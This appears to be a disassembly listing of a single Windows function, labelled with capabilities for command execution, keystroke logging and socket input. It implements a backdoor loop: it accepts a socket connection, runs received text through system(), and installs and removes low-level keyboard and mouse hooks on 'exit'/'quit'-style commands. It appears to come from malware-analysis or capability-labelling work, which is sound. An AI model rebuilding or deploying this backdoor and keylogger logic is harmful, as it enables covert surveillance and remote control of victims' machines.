Function at 0x4e41c0
Capabilities:
Execute command
Log keystrokes via application hook
Receive data
Receive data on socket

Disassembly:
call fcn.0040f145
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x478
call sym._monstartup
lea rbx, [rsp + 0x70]
lea rsi, [rsp + 0x60]
call dbg.__main
lea rdi, [rsp + 0x50]
call dbg.init()
lea rax, [rsp + 0x34]
mov rbp, qword [sym.imp.WSOCK32.dll_recv]
mov r14, qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov qword [rsp + 0x20], rax
lea rax, [rsp + 0x40]
mov r13, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x28], rax
lea rcx, str.waiting_connect..._n
call dbg.printf(char const*, ::)
mov r8, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
mov dword [rsp + 0x34], 0x10
mov rcx, qword [0x00517048]
call qword [sym.imp.WSOCK32.dll_accept]
lea rcx, str.connected__n
mov qword [0x00517040], rax
call dbg.printf(char const*, ::)
mov r12, qword [sym.imp.USER32.dll_SetWindowsHookExA]
jmp 0x4e4449
cmp r15, 1
jne 0x4e45b8
movzx eax, byte [rsp + 0x70]
mov byte [rsp + 0x60], al
mov rax, rsi
mov qword [rsp + 0x58], r15
mov rcx, rdi
lea rdx, str.exit
mov byte [rax + r15], 0
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.compare_char_const__const
mov rcx, qword [rsp + 0x50]
mov r15d, eax
cmp rcx, rsi
je 0x4e44f0
call sym.operator_delete_void_
test r15d, r15d
je 0x4e421f
mov qword [rsp + 0x50], rsi
mov r15, rbx
mov edx, dword [r15]
add r15, 4
lea eax, [rdx - 0x1010101]
not edx
and eax, edx
and eax, 0x80808080
je 0x4e42c6
mov edx, eax
shr edx, 0x10
test eax, 0x8080
cmove eax, edx
lea rdx, [r15 + 2]
cmove r15, rdx
mov ecx, eax
add cl, al
sbb r15, 3
sub r15, rbx
mov qword [rsp + 0x38], r15
cmp r15, 0xf
ja 0x4e45e8
cmp r15, 1
jne 0x4e45d0
movzx eax, byte [rsp + 0x70]
mov byte [rsp + 0x60], al
mov rax, rsi
mov qword [rsp + 0x58], r15
mov rcx, rdi
lea rdx, str.quit
mov byte [rax + r15], 0
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.compare_char_const__const
mov rcx, qword [rsp + 0x50]
mov r15d, eax
cmp rcx, rsi
je 0x4e434e
call sym.operator_delete_void_
test r15d, r15d
je 0x4e47c8
mov qword [rsp + 0x50], rsi
mov r15, rbx
mov edx, dword [r15]
add r15, 4
lea eax, [rdx - 0x1010101]
not edx
and eax, edx
and eax, 0x80808080
je 0x4e435f
mov edx, eax
shr edx, 0x10
test eax, 0x8080
cmove eax, edx
lea rdx, [r15 + 2]
cmove r15, rdx
mov ecx, eax
add cl, al
sbb r15, 3
sub r15, rbx
mov qword [rsp + 0x38], r15
cmp r15, 0xf
ja 0x4e4640
cmp r15, 1
jne 0x4e4628
movzx eax, byte [rsp + 0x70]
mov byte [rsp + 0x60], al
mov rax, rsi
mov qword [rsp + 0x58], r15
mov rcx, rdi
lea rdx, [0x004e909e]
mov byte [rax + r15], 0
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.compare_char_const__const
mov rcx, qword [rsp + 0x50]
mov r15d, eax
cmp rcx, rsi
je 0x4e43e7
call sym.operator_delete_void_
test r15d, r15d
jne 0x4e4500
xor ecx, ecx
call r13
xor r9d, r9d
lea rdx, [dbg.MouseProc(int, unsigned long long, long long)]
mov ecx, 0xe
mov r8, rax
call r12
xor ecx, ecx
mov qword [0x00517058], rax
call r13
xor r9d, r9d
lea rdx, [dbg.KeyboardProc(int, unsigned long long, long long)]
mov ecx, 0xd
mov r8, rax
call r12
mov qword [0x00517050], rax
lea rcx, str.cmd:_s_n
mov rdx, rbx
call sym.printf_char_const__::___clone_constprop0_
mov rcx, rbx
call sym.system
mov rcx, qword [0x00517040]
xor r9d, r9d
mov rdx, rbx
mov r15, rbx
mov r8d, 0x400
call rbp
mov qword [rsp + 0x50], rsi
mov edx, dword [r15]
add r15, 4
lea eax, [rdx - 0x1010101]
not edx
and eax, edx
and eax, 0x80808080
je 0x4e4466
mov edx, eax
shr edx, 0x10
test eax, 0x8080
cmove eax, edx
lea rdx, [r15 + 2]
cmove r15, rdx
mov ecx, eax
add cl, al
sbb r15, 3
sub r15, rbx
mov qword [rsp + 0x38], r15
cmp r15, 0xf
jbe 0x4e4270
mov rcx, rdi
lea rdx, [rsp + 0x38]
xor r8d, r8d
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___._M_create_unsigned_long_long__unsigned_long_long_
mov qword [rsp + 0x50], rax
mov rcx, rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x60], rax
mov r8, r15
mov rdx, rbx
call sym.memcpy
mov r15, qword [rsp + 0x38]
mov rax, qword [rsp + 0x50]
jmp 0x4e4286
test eax, eax
jne 0x4e42be
jmp 0x4e421f
mov qword [rsp + 0x50], rsi
mov r15, rbx
mov edx, dword [r15]
add r15, 4
lea eax, [rdx - 0x1010101]
not edx
and eax, edx
and eax, 0x80808080
je 0x4e4508
mov edx, eax
shr edx, 0x10
test eax, 0x8080
cmove eax, edx
lea rdx, [r15 + 2]
cmove r15, rdx
mov ecx, eax
add cl, al
sbb r15, 3
sub r15, rbx
mov qword [rsp + 0x38], r15
cmp r15, 0xf
ja 0x4e4738
cmp r15, 1
jne 0x4e4720
movzx eax, byte [rsp + 0x70]
mov byte [rsp + 0x60], al
mov rax, rsi
mov qword [rsp + 0x58], r15
mov rcx, rdi
lea rdx, [0x004e90a2]
mov byte [rax + r15], 0
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.compare_char_const__const
mov rcx, qword [rsp + 0x50]
mov r15d, eax
cmp rcx, rsi
je 0x4e4590
call sym.operator_delete_void_
test r15d, r15d
jne 0x4e4680
mov rcx, qword [0x00517058]
call r14
mov rcx, qword [0x00517050]
call r14
jmp 0x4e4432
test r15, r15
jne 0x4e47ee
mov rax, rsi
jmp 0x4e4286
test r15, r15
jne 0x4e47e6
mov rax, rsi
jmp 0x4e4323
mov rcx, rdi
lea rdx, [rsp + 0x38]
xor r8d, r8d
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___._M_create_unsigned_long_long__unsigned_long_long_
mov qword [rsp + 0x50], rax
mov rcx, rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x60], rax
mov r8, r15
mov rdx, rbx
call sym.memcpy
mov r15, qword [rsp + 0x38]
mov rax, qword [rsp + 0x50]
jmp 0x4e4323
test r15, r15
jne 0x4e47de
mov rax, rsi
jmp 0x4e43bc
mov rcx, rdi
lea rdx, [rsp + 0x38]
xor r8d, r8d
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___._M_create_unsigned_long_long__unsigned_long_long_
mov qword [rsp + 0x50], rax
mov rcx, rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x60], rax
mov r8, r15
mov rdx, rbx
call sym.memcpy
mov r15, qword [rsp + 0x38]
mov rax, qword [rsp + 0x50]
jmp 0x4e43bc
mov qword [rsp + 0x50], rsi
mov r15, rbx
mov edx, dword [r15]
add r15, 4
lea eax, [rdx - 0x1010101]
not edx
and eax, edx
and eax, 0x80808080
je 0x4e4688
mov edx, eax
shr edx, 0x10
test eax, 0x8080
cmove eax, edx
lea rdx, [r15 + 2]
cmove r15, rdx
mov ecx, eax
add cl, al
sbb r15, 3
sub r15, rbx
mov qword [rsp + 0x38], r15
cmp r15, 0xf
ja 0x4e4788
cmp r15, 1
jne 0x4e4778
movzx eax, byte [rsp + 0x70]
mov byte [rsp + 0x60], al
mov rax, rsi
mov qword [rsp + 0x58], r15
mov rcx, rdi
lea rdx, [0x004e90a6]
mov byte [rax + r15], 0
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.compare_char_const__const
mov rcx, qword [rsp + 0x50]
mov r15d, eax
cmp rcx, rsi
je 0x4e4710
call sym.operator_delete_void_
test r15d, r15d
jne 0x4e4432
call dbg.bye_main()
nop
test r15, r15
jne 0x4e47fb
mov rax, rsi
jmp 0x4e4565
mov rcx, rdi
lea rdx, [rsp + 0x38]
xor r8d, r8d
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___._M_create_unsigned_long_long__unsigned_long_long_
mov qword [rsp + 0x50], rax
mov rcx, rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x60], rax
mov r8, r15
mov rdx, rbx
call sym.memcpy
mov r15, qword [rsp + 0x38]
mov rax, qword [rsp + 0x50]
jmp 0x4e4565
test r15, r15
jne 0x4e47f6
mov rax, rsi
jmp 0x4e46e5
mov rcx, rdi
lea rdx, [rsp + 0x38]
xor r8d, r8d
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___._M_create_unsigned_long_long__unsigned_long_long_
mov qword [rsp + 0x50], rax
mov rcx, rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x60], rax
mov r8, r15
mov rdx, rbx
call sym.memcpy
mov r15, qword [rsp + 0x38]
mov rax, qword [rsp + 0x50]
jmp 0x4e46e5
xor eax, eax
add rsp, 0x478
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, rsi
jmp 0x4e4662
mov rcx, rsi
jmp 0x4e460a
mov rcx, rsi
jmp 0x4e44cf
mov rcx, rsi
jmp 0x4e47aa
mov rcx, rsi
jmp 0x4e475a